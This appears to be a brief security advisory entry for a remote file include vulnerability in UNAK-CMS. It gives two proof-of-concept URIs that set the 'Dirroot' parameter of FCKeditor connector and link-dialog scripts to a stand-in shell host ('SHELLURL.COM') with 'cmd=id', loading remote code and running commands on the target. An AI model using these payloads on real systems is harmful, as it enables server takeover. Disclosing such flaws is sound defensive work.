|
UNAK-CMS Dirroot Parameter Remote File Include Vulnerability
An attacker can exploit this issue via a web client. The following proof-of-concept URIs are available: http://www.example.com/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Dirroot=http://SHELLURL.COM?&cmd=id http://www.example.com/fckeditor/editor/dialog/fck_link.php?dirroot=http://SHELLURL.COM?&cmd=id |
|
|
Privacy Statement |
